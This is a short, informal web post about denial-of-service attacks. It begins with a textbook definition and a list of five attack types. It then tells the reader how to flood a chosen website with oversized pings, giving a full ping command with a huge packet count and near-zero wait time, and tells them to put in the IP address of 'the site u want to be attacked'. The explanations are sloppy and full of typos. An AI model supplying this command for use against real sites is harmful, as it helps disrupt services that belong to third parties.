DDOS ATTACK

 <=> Denial-of-service attack What is Dos Attack ? A denial-of-service attack (DoS attack) or distributed denial-of-service attack (DDoS attack) is an attempt to make a computer or network resource unavailable to its intended users. A DoS attack can be perpetrated in a number of ways. The five basic types of attack are:
 * Consumption of computational resources, such as bandwidth, disk space, or processor time.
** Disruption of configuration information, such as routing information.
** Disruption of state information, such as unsolicited resetting of TCP sessions.
 *** Disruption of physical network components.
****Obstructing the communication media between the intended users and the victim so that they can no longer communicate adequately.

DoS attemps..u can change the value "10000000" with ur desired value u want to attempt attack. -website-IP= Replace the text with the ip address of the site u want to be attacked.. -w 0.00001 = It is the waiting time after one ping attack. -for eg:

if the ip address is 112.158.10.2 -just type 

ping 112.158.10.2 -l 65500 -n 10000000 -w 0.00001
